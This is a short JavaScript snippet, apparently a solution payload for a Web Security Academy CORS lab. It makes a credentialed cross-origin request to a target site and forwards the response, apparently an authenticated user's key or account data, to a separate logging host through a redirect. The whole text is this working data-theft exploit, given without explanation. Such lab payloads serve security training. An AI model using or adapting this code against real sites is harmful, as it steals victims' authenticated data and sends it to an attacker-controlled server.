var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://acd11f021e423946807c09f800ba00cf.web-security-academy.net/',true); req.withCredentials = true; req.send(); function reqListener() { location='https://acea1fbe1edf39df80200995019d0013.web-security-academy.net/log?key='+this.responseText; };